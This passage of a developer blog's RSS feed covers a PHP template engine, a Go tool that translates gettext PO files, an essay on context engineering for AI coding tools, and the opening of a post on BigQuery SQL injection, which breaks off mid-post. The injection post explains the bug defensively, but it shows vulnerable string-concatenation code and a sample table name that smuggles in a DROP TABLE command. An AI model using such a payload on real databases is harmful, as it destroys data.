</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">if</span> <span class="nv">count</span> <span class="k">is</span> <span class="nf">even</span> <span class="cp">%}</span><span class="x"> Even number </span><span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">if</span> <span class="nv">total</span> <span class="k">is</span> <span class="nf">divisibleby</span><span class="o">(</span><span class="m">3</span><span class="o">)</span> <span class="cp">%}</span><span class="x"> Divisible by 3 </span><span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span><span class="x">
</span></span></span></code></pre></div><p>Built-in tests include: <code>defined</code>, <code>undefined</code>, <code>null</code>, <code>even</code>, <code>odd</code>,
<code>divisibleby</code>, <code>number</code>, <code>string</code>, and <code>iterable</code>. Use <code>is not</code> to negate.</p>
<h3 id="template-inheritance">Template inheritance</h3>
<p>Templates can extend base templates using blocks:</p>
<p><strong>base.html:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="x">&lt;!DOCTYPE html&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;html&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">  &lt;head&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">    &lt;title&gt;</span><span class="cp">{%</span> <span class="k">block</span> <span class="nv">title</span> <span class="cp">%}</span><span class="x">Default</span><span class="cp">{%</span> <span class="k">endblock</span> <span class="cp">%}</span><span class="x">&lt;/title&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">  &lt;/head&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">  &lt;body&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">    </span><span class="cp">{%</span> <span class="k">block</span> <span class="nv">content</span> <span class="cp">%}{%</span> <span class="k">endblock</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">  &lt;/body&gt;
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;/html&gt;
</span></span></span></code></pre></div><p><strong>page.html:</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="cp">{%</span> <span class="k">extends</span> <span class="s2">&#34;base.html&#34;</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">block</span> <span class="nv">title</span> <span class="cp">%}</span><span class="x">Welcome</span><span class="cp">{%</span> <span class="k">endblock</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">block</span> <span class="nv">content</span> <span class="cp">%}</span><span class="x">&lt;h1&gt;Hello World&lt;/h1&gt;</span><span class="cp">{%</span> <span class="k">endblock</span> <span class="cp">%}</span><span class="x">
</span></span></span></code></pre></div><p>The <code>{% extends %}</code> directive must be first. Child blocks completely replace
parent blocks. This requires a template loader function to load files.</p>
<h3 id="template-inclusion">Template inclusion</h3>
<p>Include other templates with <code>{% include %}</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jinja" data-lang="jinja"><span class="line"><span class="cl"><span class="cp">{%</span> <span class="k">include</span> <span class="s2">&#34;header.html&#34;</span> <span class="cp">%}</span><span class="x">
</span></span></span><span class="line"><span class="cl"><span class="x">&lt;main&gt;</span><span class="cp">{{</span> <span class="nv">content</span> <span class="cp">}}</span><span class="x">&lt;/main&gt;
</span></span></span><span class="line"><span class="cl"><span class="x"></span><span class="cp">{%</span> <span class="k">include</span> <span class="s2">&#34;footer.html&#34;</span> <span class="cp">%}</span><span class="x">
</span></span></span></code></pre></div><p>Included templates share the same data context.</p>
<h3 id="important-notes">Important notes</h3>
<ul>
<li><strong>HTML escaping is default</strong>: All output is escaped unless you use <code>|raw</code></li>
<li><strong>No external dependencies</strong>: Beyond PHPUnit for testing</li>
<li><strong>Expressions are fully evaluated</strong>: Not just variable lookup</li>
<li><strong>Whitespace is preserved</strong>: Except lines with only <code>{% %}</code> or <code>{# #}</code> tags</li>
<li><strong>Filters chain</strong>: You can do <code>{{ value|lower|trim|truncate(50) }}</code></li>
<li><strong>Template loader required</strong>: For <code>{% extends %}</code> and <code>{% include %}</code> to work</li>
</ul>
<p>The implementation is intentionally simple with no dependencies. I wrote it
because I wanted something I could understand completely and modify easily
without diving into complex template engine internals.</p>
<p>See:
<a href="https://github.com/mintyphp/template">https://github.com/mintyphp/template</a></p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://jinja.palletsprojects.com/en/3.1.x/templates/">Jinja Documentation - Template Designer Documentation</a></li>
<li><a href="https://github.com/byjg/php-jinja">Github.com - mbyjg/php-jinja - Jinja for PHP</a></li>
<li><a href="https://twig.symfony.com/">Twig - The flexible, fast, and secure PHP template engine</a></li>
<li><a href="https://www.smarty.net/docs/en/">Smarty - the compiling PHP template engine</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Translating gettext PO files with Google Translate</title>
      <link>https://www.tqdev.com/2025-translating-gettext-po-files-google-translate/</link>
      <pubDate>Wed, 31 Dec 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-translating-gettext-po-files-google-translate/</guid>
      <description>&lt;p&gt;Managing translations for multilingual software can be tedious. You maintain a
POT template with all your strings, and then need to keep multiple (gettext) PO
files synchronized and translated. I wrote a small command-line tool in Go
called &amp;ldquo;potranslate&amp;rdquo; to automate the translation part using Google Translate.&lt;/p&gt;
&lt;p&gt;Use it from the command line:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# Scans for default.pot and PO files in ./locales&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;potranslate --source-lang en ./locales
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Point it at a directory with POT and PO files, and it will:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Managing translations for multilingual software can be tedious. You maintain a
POT template with all your strings, and then need to keep multiple (gettext) PO
files synchronized and translated. I wrote a small command-line tool in Go
called &ldquo;potranslate&rdquo; to automate the translation part using Google Translate.</p>
<p>Use it from the command line:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Scans for default.pot and PO files in ./locales</span>
</span></span><span class="line"><span class="cl">potranslate --source-lang en ./locales
</span></span></code></pre></div><p>Point it at a directory with POT and PO files, and it will:</p>
<ol>
<li><strong>Sync missing entries</strong> from POT to PO files</li>
<li><strong>Translate empty strings</strong> using Google Translate</li>
</ol>
<p>It takes about one second per tanslated string, but it is non-interactive.</p>
<h3 id="how-it-works">How it works</h3>
<p>The tool is written in Go and uses three main components:</p>
<p><strong>File parsing</strong>: Uses <code>github.com/leonelquinteros/gotext</code> to parse the gettext
format. POT and PO files follow the same structure, so reading them is
straightforward.</p>
<p><strong>Translation</strong>: Uses <code>github.com/Conight/go-googletrans</code> to call Google
Translate. It&rsquo;s a simple HTTP wrapper around Google&rsquo;s translation service.</p>
<p><strong>Progress tracking</strong>: Uses <code>github.com/schollz/progressbar/v3</code> for the terminal
progress bar, since translations can take a while.</p>
<p>The workflow is simple:</p>
<ol>
<li>Scan directory for POT and PO files (e.g., <code>default.pot</code> and <code>default_es.po</code>,
<code>default_fr.po</code>)</li>
<li>Parse POT to get all source strings</li>
<li>Add any missing entries from POT to each PO file</li>
<li>Find empty translation strings in PO files</li>
<li>Translate them one by one</li>
<li>Write back to disk</li>
</ol>
<h3 id="syncing-entries">Syncing entries</h3>
<p>Before translating, the tool syncs the PO files with the POT template. If
default.pot has 100 entries and default_es.po only has 95 The tool adds those 5
missing entries with empty translations and then translates them. It also copies
the source comments from POT entries (like <code>#: file.py:123</code>) so you know where
each string comes from.</p>
<h3 id="rewrite-mode">Rewrite mode</h3>
<p>Sometimes PO files accumulate obsolete entries. The <code>--rewrite</code> flag rebuilds
the entire file from the POT template:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Removes entries from the PO files that don&#39;t exist in the POT.</span>
</span></span><span class="line"><span class="cl">potranslate --rewrite ./locales
</span></span></code></pre></div><p>This preserves existing translations but removes entries that no longer exist in
the POT. It strips old translator comments but keeps source location comments
from the POT.</p>
<h3 id="adding-new-languages">Adding new languages</h3>
<p>You can create a new PO file for a language from scratch:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Adds default_es.po from default.pot and translates everything</span>
</span></span><span class="line"><span class="cl">potranslate --add-lang es --source-lang en ./locales
</span></span></code></pre></div><p>The tool will updates the metadata headers (language code, revision date) and
translates all entries.</p>
<h3 id="rate-limiting">Rate limiting</h3>
<p>Google Translate will throttle you if you send too many requests. The tool waits
1 second between translations by default:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Default: 1 second between requests</span>
</span></span><span class="line"><span class="cl">potranslate ./locales
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Fast mode: 0.1 seconds</span>
</span></span><span class="line"><span class="cl">potranslate --fast ./locales
</span></span></code></pre></div><p>For a file with 50 untranslated strings, that&rsquo;s 50 seconds at normal speed, or 5
seconds with <code>--fast</code>.</p>
<h3 id="multiple-domains">Multiple domains</h3>
<p>Larger projects often split translations into domains:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Translates admin.pot and admin_*.po files</span>
</span></span><span class="line"><span class="cl">potranslate --domain admin ./locales
</span></span></code></pre></div><p>File naming follows the pattern <code>&lt;domain&gt;_&lt;lang&gt;.po</code>. The tool uses underscores,
not hyphens or dots.</p>
<h3 id="language-detection">Language detection</h3>
<p>The tool reads the source language from POT metadata:</p>
<pre tabindex="0"><code>&#34;Language: en\n&#34;
</code></pre><p>If it&rsquo;s not there, you need to specify it:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">potranslate --source-lang en ./locales
</span></span></code></pre></div><p>When provided via command line, it writes the source language back to the POT
metadata. Target languages are read from each PO file&rsquo;s metadata or filename.</p>
<h3 id="interrupting">Interrupting</h3>
<p>Press Ctrl-C to stop. The tool saves completed translations before exiting, so
you can resume later. The progress bar shows how far along you are.</p>
<h3 id="limitations">Limitations</h3>
<p>The tool doesn&rsquo;t validate translation quality. Google Translate makes mistakes,
especially with context-dependent strings or technical terminology. You should
review the translations. It also does not handle plural forms specially
(translates them as separate strings) nor does it support translation memory or
glossaries.</p>
<h3 id="example-output">Example output</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ potranslate --source-lang en ./locales
</span></span><span class="line"><span class="cl">Processing domain: default
</span></span><span class="line"><span class="cl">POT file: ./locales/default.pot
</span></span><span class="line"><span class="cl">Source language: en
</span></span><span class="line"><span class="cl">Found <span class="m">2</span> PO file<span class="o">(</span>s<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Processing: default_es.po <span class="o">(</span>target: es<span class="o">)</span>
</span></span><span class="line"><span class="cl">Added <span class="m">3</span> missing entry/entries from POT file
</span></span><span class="line"><span class="cl"><span class="o">[</span>████████████████████████<span class="o">]</span> 25/25 <span class="o">(</span>100%<span class="o">)</span>
</span></span><span class="line"><span class="cl">Translated <span class="m">25</span> string<span class="o">(</span>s<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Processing: default_fr.po <span class="o">(</span>target: fr<span class="o">)</span>
</span></span><span class="line"><span class="cl">No missing entries to add
</span></span><span class="line"><span class="cl"><span class="o">[</span>████████████████████████<span class="o">]</span> 18/18 <span class="o">(</span>100%<span class="o">)</span>
</span></span><span class="line"><span class="cl">Translated <span class="m">18</span> string<span class="o">(</span>s<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Complete! Translated <span class="m">43</span> string<span class="o">(</span>s<span class="o">)</span> total
</span></span></code></pre></div><p>I wrote this because I needed it for a project and couldn&rsquo;t find a simple
command-line tool that did both syncing and translating. The code is small and
does one thing.</p>
<p>See:
<a href="https://github.com/mevdschee/potranslate">https://github.com/mevdschee/potranslate</a></p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.gnu.org/software/gettext/manual/html_node/PO-Files.html">GNU gettext - PO file format documentation</a></li>
<li><a href="https://github.com/leonelquinteros/gotext">Github.com - leonelquinteros/gotext</a></li>
<li><a href="https://github.com/Conight/go-googletrans">Github.com - Conight/go-googletrans</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Context Engineering: Mastering AI Tools</title>
      <link>https://www.tqdev.com/2025-context-engineering-mastering-ai-tools/</link>
      <pubDate>Mon, 29 Dec 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-context-engineering-mastering-ai-tools/</guid>
      <description>&lt;p&gt;There&amp;rsquo;s an old saying: &amp;ldquo;A craftsman is only as good as their mastery of their
tools.&amp;rdquo; Carpenters master their saws and chisels, surgeons master their
scalpels, and software engineers master their IDEs, languages, and frameworks.
Today, AI coding assistants are our newest tools. The question is: do you know
how to master them?&lt;/p&gt;
&lt;h3 id=&#34;the-ai-revolution-has-levels&#34;&gt;The AI revolution has levels&lt;/h3&gt;
&lt;p&gt;We&amp;rsquo;ve moved through distinct levels of AI assistance over the past few years. We
started at level zero with no AI at all, then progressed to copy-pasting from
ChatGPT. We got autocomplete, then inline editing. Now we have tools that can
make project-wide changes and act as agents. The most advanced level is where AI
helps with architectural thinking itself.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>There&rsquo;s an old saying: &ldquo;A craftsman is only as good as their mastery of their
tools.&rdquo; Carpenters master their saws and chisels, surgeons master their
scalpels, and software engineers master their IDEs, languages, and frameworks.
Today, AI coding assistants are our newest tools. The question is: do you know
how to master them?</p>
<h3 id="the-ai-revolution-has-levels">The AI revolution has levels</h3>
<p>We&rsquo;ve moved through distinct levels of AI assistance over the past few years. We
started at level zero with no AI at all, then progressed to copy-pasting from
ChatGPT. We got autocomplete, then inline editing. Now we have tools that can
make project-wide changes and act as agents. The most advanced level is where AI
helps with architectural thinking itself.</p>
<p>But here&rsquo;s the thing: more power requires more skill. And that&rsquo;s where we&rsquo;re
seeing a problem.</p>
<h3 id="the-ai-generated-slop-problem">The AI-generated slop problem</h3>
<p>AI coding tools are great for greenfield projects. Give them a blank slate and
they can scaffold out entire applications. But they struggle with complex,
brownfield codebases. The real world is messy.</p>
<p>I&rsquo;ve seen it happen repeatedly: junior engineers use AI to generate code
quickly, but skill gaps lead to what I can only describe as &ldquo;slop.&rdquo; Then senior
engineers get frustrated cleaning up the mess. The promise was that AI would
make us faster. Instead, it&rsquo;s often making things slower and introducing
technical debt at scale.</p>
<p>The problem isn&rsquo;t the AI itself. It&rsquo;s how we&rsquo;re using it.</p>
<h3 id="what-is-context-engineering">What is context engineering?</h3>
<p>Context Engineering is the practice of managing AI context windows to maximize
output quality. It matters because LLMs are stateless. Better tokens in equals
better tokens out. Every tool selection is influenced by conversation history,
and there are hundreds of potential right or wrong steps at each turn.</p>
<p>There are four key dimensions to consider in context engineering:</p>
<ol>
<li><strong>Correctness</strong> - No incorrect information should be in the context</li>
<li><strong>Completeness</strong> - All necessary information must be present</li>
<li><strong>Size</strong> - Stay lean and focused, don&rsquo;t bloat the context</li>
<li><strong>Trajectory</strong> - Mind the pattern of how the conversation evolves</li>
</ol>
<p>These dimensions aren&rsquo;t independent. They interact in complex ways.</p>
<h3 id="the-smart-zone-and-the-dumb-zone">The smart zone and the dumb zone</h3>
<p>Here&rsquo;s something most people don&rsquo;t realize about context windows: they&rsquo;re
typically around 170k tokens total (though this varies by model). Some of that
is reserved for output and compaction. But there&rsquo;s a critical threshold at
around 40% utilization.</p>
<p>Working above 40% of your context window leads to diminishing returns. You start
seeing poor tool selection, repeated mistakes, and context overload. I call this
the &ldquo;dumb zone.&rdquo; Below that threshold is the &ldquo;smart zone&rdquo; where AI assistants
perform well.</p>
<p>Context engineering is fundamentally about staying in the smart zone. It&rsquo;s about
being intentional with what goes into that context window and when.</p>
<h3 id="context-engineering-as-a-hammer">Context engineering as a hammer</h3>
<p>Context engineering enables three key phases: research, planning, and
implementation. In the research phase, you compress truth from codebases. In the
planning phase, you create high-leverage, explicit roadmaps. In the
implementation phase, you execute reliably with minimal context.</p>
<p>The key techniques include intentional compaction (compress existing context),
sub-agents (isolate expensive operations), on-demand documentation (generate
truth from code, not stale docs), and progressive disclosure (only load what you
need, when you need it).</p>
<p>Think of it as AI&rsquo;s hammer. It&rsquo;s a tool that makes other tools work better.</p>
<h3 id="the-research-plan-implement-method">The research-plan-implement method</h3>
<p>The research phase is about understanding how the system works. You find
relevant files and patterns, use sub-agents for vertical slices of the codebase,
and output a compressed truth document. This isn&rsquo;t just reading code; it&rsquo;s
synthesizing understanding.</p>
<p>The planning phase is where you outline exact steps with file names and line
numbers. Include code snippets and test steps. The purpose is two-fold: mental
alignment and leverage. It&rsquo;s much easier to review a plan than to review 1000+
lines of generated code. A bad line in a plan leads to 100+ bad lines of code. A
bad line in research can waste the entire effort.</p>
<p>Only after research and planning do you move to implementation. And the
implementation phase can be relatively straightforward if the previous phases
were done well.</p>
<h3 id="tools-that-help">Tools that help</h3>
<p>For the research phase, let AI summarize what code does. Tools like LLMFeeder (a
Firefox extension) and Paste To Markdown (a web page converter) can help you
feed information to AI in the right format from external sources, such as
official documentation. You can also dump a data model to SQL, or ask AI for a
&ldquo;project brief,&rdquo; or a set of &ldquo;design principles.&rdquo;</p>
<p>The key is to iterate several times before starting the implementation phase.
Don&rsquo;t rush to implementation for a complex problem.</p>
<h3 id="dont-fall-for-the-spec-driven-development-trap">Don&rsquo;t fall for the spec-driven development trap</h3>
<p>There are frameworks that promise to &ldquo;fix&rdquo; AI coding.
<a href="https://github.com/Fission-AI/OpenSpec">OpenSpec (14k stars)</a> offers
lightweight specs with change tracking for brownfield projects.
<a href="https://github.com/github/spec-kit">Spec-Kit (58k stars)</a> provides structured
/specify and /plan commands for greenfield work.
<a href="https://github.com/bmad-code-org/BMAD-METHOD">BMAD (26k stars)</a> is a full
multi-agent framework simulating entire dev teams.</p>
<p>I think these tools can be useful, but they&rsquo;re putting the cart before the
horse. Master the fundamentals first. Tooling can come later. These frameworks
are trying to solve the context engineering problem, but you need to understand
the problem deeply before you can evaluate whether a given framework actually
helps.</p>
<h3 id="human-thinking-cannot-be-outsourced">Human thinking cannot be outsourced</h3>
<p>This is the most critical point: a bad line of code is just a bad line of code.
A bad line in a plan becomes 100+ bad lines of code. A bad line in research can
waste the entire effort. The leverage multiplies at each phase.</p>
<p>Human-in-the-loop requirements are non-negotiable. Review research for
correctness. Validate plans before implementation. Ensure understanding at each
phase. The goal isn&rsquo;t to remove humans from the process; it&rsquo;s to move human
effort to the highest leverage points.</p>
<p>AI amplifies thinking. It cannot replace your judgment, only amplify what you
bring to it.</p>
<h3 id="not-everything-is-a-nail">Not everything is a nail</h3>
<p>Context engineering is a powerful hammer, but not everything is a nail. Use it
for complex features across multiple files or repositories. Use it for
brownfield codebases requiring deep understanding. Use it when you&rsquo;re hitting
the &ldquo;dumb zone&rdquo; with your AI assistant.</p>
<p>Don&rsquo;t use it for simple one-line changes like button colors. Don&rsquo;t use it for
quick experiments or prototypes where you&rsquo;re exploring ideas. And definitely
don&rsquo;t use it when human architectural thinking needs to come first.</p>
<p>The craft is knowing when to use which tool.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Quality over quantity. AI makes volume easy, but quality requires discipline.
I&rsquo;ve seen too many projects drown in AI-generated slop because teams didn&rsquo;t
apply the fundamentals of context engineering.</p>
<p>Stay in the smart zone by managing your context windows intentionally. Master
compaction, research, and planning. Never skip the human review at each phase.
Remember that AI amplifies your thinking&hellip; it doesn&rsquo;t replace it.</p>
<p>Context engineering is the skill that separates those who struggle with AI
coding assistants from those who master them effectively. It&rsquo;s the difference
between generating slop and generating true value.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=rmvDxxNubIg">Youtube - No Vibes Allowed: Solving Tough Problems in Complex Codebases</a></li>
<li><a href="https://inspired-it.nl/blog/the-ai-coding-ladder/">Inspired-IT - The AI Coding Ladder - From Copy-Paster to Architect</a></li>
<li><a href="https://www.nosam.com/spec-driven-development-openspec-vs-spec-kit-vs-bmad-which-ones-actually-worth-your-time/">Don&rsquo;s Blog - Spec-Driven Development: OpenSpec vs Spec-Kit vs BMAD</a></li>
<li><a href="https://xebia.com/blog/vibe-coding-github-copilot-maintenance/">Xebia Blog - Vibe coding is fun, until you have to maintain it</a></li>
<li><a href="https://github.com/Fission-AI/OpenSpec">Github - OpenSpec - Spec-driven development for AI coding assistants</a></li>
<li><a href="https://github.com/github/spec-kit">Github - Spec Kit - Build high-quality software faster</a></li>
<li><a href="https://github.com/bmad-code-org/BMAD-METHOD">Github - BMAD-METHOD - AI-Driven Agile Development That Scales</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Avoid BigQuery SQL injection in Go with saferbq</title>
      <link>https://www.tqdev.com/2025-avoid-bigquery-sql-injection-go-saferbq/</link>
      <pubDate>Sat, 13 Dec 2025 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-avoid-bigquery-sql-injection-go-saferbq/</guid>
      <description>&lt;p&gt;When building BigQuery applications using the Go SDK you may allow users to
select tables or datasets dynamically. This means you need to include
user-specified identifiers in your SQL queries. I was surprised that the
BigQuery manual and code examples do not warn about SQL injection
vulnerabilities when doing this. Even more surprising: BigQuery does not provide
a built-in mechanism to safely handle user input in table or dataset names. The
official SDK supports parameterized queries for data values using &lt;code&gt;@&lt;/code&gt; and &lt;code&gt;?&lt;/code&gt;
syntax, but these cannot be used for identifiers that need backtick escaping.
You may be tempted to use string concatenation, but that opens the door to SQL
injection, and should be avoided. This post explains the problem and introduces
&lt;code&gt;saferbq&lt;/code&gt;, a Go package I wrote to help you write injection-free BigQuery SQL.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When building BigQuery applications using the Go SDK you may allow users to
select tables or datasets dynamically. This means you need to include
user-specified identifiers in your SQL queries. I was surprised that the
BigQuery manual and code examples do not warn about SQL injection
vulnerabilities when doing this. Even more surprising: BigQuery does not provide
a built-in mechanism to safely handle user input in table or dataset names. The
official SDK supports parameterized queries for data values using <code>@</code> and <code>?</code>
syntax, but these cannot be used for identifiers that need backtick escaping.
You may be tempted to use string concatenation, but that opens the door to SQL
injection, and should be avoided. This post explains the problem and introduces
<code>saferbq</code>, a Go package I wrote to help you write injection-free BigQuery SQL.</p>
<h3 id="the-sql-injection-problem">The SQL injection problem</h3>
<p>When you need to reference a table name that comes from user input, the BigQuery
SDK does not provide you with a safe option. Consider this common scenario:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="nx">client</span> <span class="o">:=</span> <span class="nx">bigquery</span><span class="p">.</span><span class="nf">NewClient</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">projId</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">tableName</span> <span class="o">:=</span> <span class="nf">getUserInput</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nx">q</span> <span class="o">:=</span> <span class="nx">client</span><span class="p">.</span><span class="nf">Query</span><span class="p">(</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Sprintf</span><span class="p">(</span><span class="s">&#34;SELECT * FROM `%s` WHERE id = 1&#34;</span><span class="p">,</span> <span class="nx">tableName</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nx">q</span><span class="p">.</span><span class="nf">Run</span><span class="p">(</span><span class="nx">ctx</span><span class="p">)</span>
</span></span></code></pre></div><p>If a user provides the input <code>logs` WHERE 1=1; DROP TABLE customers; --</code> the
resulting query becomes:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="o">`</span><span class="n">logs</span><span class="o">`</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span><span class="w"> </span><span class="k">DROP</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="n">customers</span><span class="p">;</span><span class="w"> </span><span class="c1">--` WHERE id = 1
</span></span></span></code></pre></div><p>This might execute successfully, returns all logs, and drop your customers
table. You might want to use BigQuery&rsquo;s named parameters as a mitigation:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="nx">q</span> <span class="o">:=</span> <span class="nx">client</span><span class="p">.</span><span class="nf">Query</span><span class="p">(</span><span class="s">&#34;SELECT * FROM @table WHERE id = 1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">q</span><span class="p">.</span><span class="nx">Parameters</span> <span class="p">=</span> <span class="p">[]</span><span class="nx">bigquery</span><span class="p">.</span><span class="nx">QueryParameter</span><span class="p">{{</span><span class="nx">Name</span><span class="p">:</span> <span class="s">&#34;table&#34;</span><span class="p">,</span> <span class="nx">Value</span><span class="p">:</span> <span class="nx">tableName</span><span class="p">}}</span>
</span></span></code></pre></div><p>But this fails with an error because named parameters cannot be used for
identifiers, only for data values. The official documentation and examples
consistently show string concatenation for table names without any security
warnings.</p>
<h3 id="the-saferbq-solution">The saferbq solution</h3>
<p>I implemented a package called <code>saferbq</code> that adds safe identifier handling to
the BigQuery SDK. It introduces <code>$identifier</code> syntax specifically for table and
dataset names:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="nx">client</span> <span class="o">:=</span> <span class="nx">saferbq</span><span class="p">.</span><span class="nf">NewClient</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">projId</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">tableName</span> <span class="o">:=</span> <span class="nf">getUserInput</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nx">q</span> <span class="o">:=</span> <span class="nx">client</span><span class="p">.</span><span class="nf">Query</span><span class="p">(</span><span class="s">&#34;SELECT * FROM $table WHERE id = 1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">q</span><span class="p">.</span><span class="nx">Parameters</span> <span class="p">=</span> <span class="p">[]</span><span class="nx">bigquery</span><span class="p">.</span><span class="nx">QueryParameter</span><span class="p">{{</span><span class="nx">Name</span><span class="p">:</span> <span class="s">&#34;$table&#34;</span><span class="p">,</span> <span class="nx">Value</span><span class="p">:</span> <span class="nx">tableName</span><span class="p">}}</span>
</span></span><span class="line"><span class="cl"><span class="nx">q</span><span class="p">.</span><span class="nf">Run</span><span class="p">(</span><span class="nx">ctx</span><span class="p">)</span>
</span></span></code></pre></div><p>If a user tries to inject malicious SQL, the query fails immediately:</p>
<pre><code>Error: identifier contains invalid characters: $table contains `=;
</code></pre>
<p>The package works by intercepting queries before they reach BigQuery. It scans
the SQL to identify all <code>$identifier</code> parameters, validates each identifier
value character-by-character against BigQuery&rsquo;s naming rules, and only then
wraps them in backticks and substitutes them into the query. Invalid characters
like backticks, semicolons, quotes, or backslashes cause immediate failure with
a detailed error message. The package also validates that all parameters are
present and that identifiers don&rsquo;t exceed BigQuery&rsquo;s 1024-byte limit.</p>
<h3 id="using-saferbq">Using saferbq</h3>
<p>Install the package:</p>
<pre><code>go get github.com/mevdschee/saferbq
</code></pre>
<p>Replace the client creation:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">import</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;context&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;cloud.google.com/go/bigquery&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;github.com/mevdschee/saferbq&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">// client, _ := biqquery.NewClient(ctx, projId)</span>
</span></span><span class="line"><span class="cl"><span class="nx">client</span><span class="p">,</span> <span class="nx">_</span> <span class="o">:=</span> <span class="nx">saferbq</span><span class="p">.</span><span class="nf">NewClient</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">projId</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">defer</span> <span class="nx">client</span><span class="p">.</span><span class="nf">Close</span><span class="p">()</span>
</span></span></code></pre></div><p>You can now use <code>$</code> parameters for identifiers. Note that you can mix identifier
parameters with BigQuery&rsquo;s native parameters:</p>
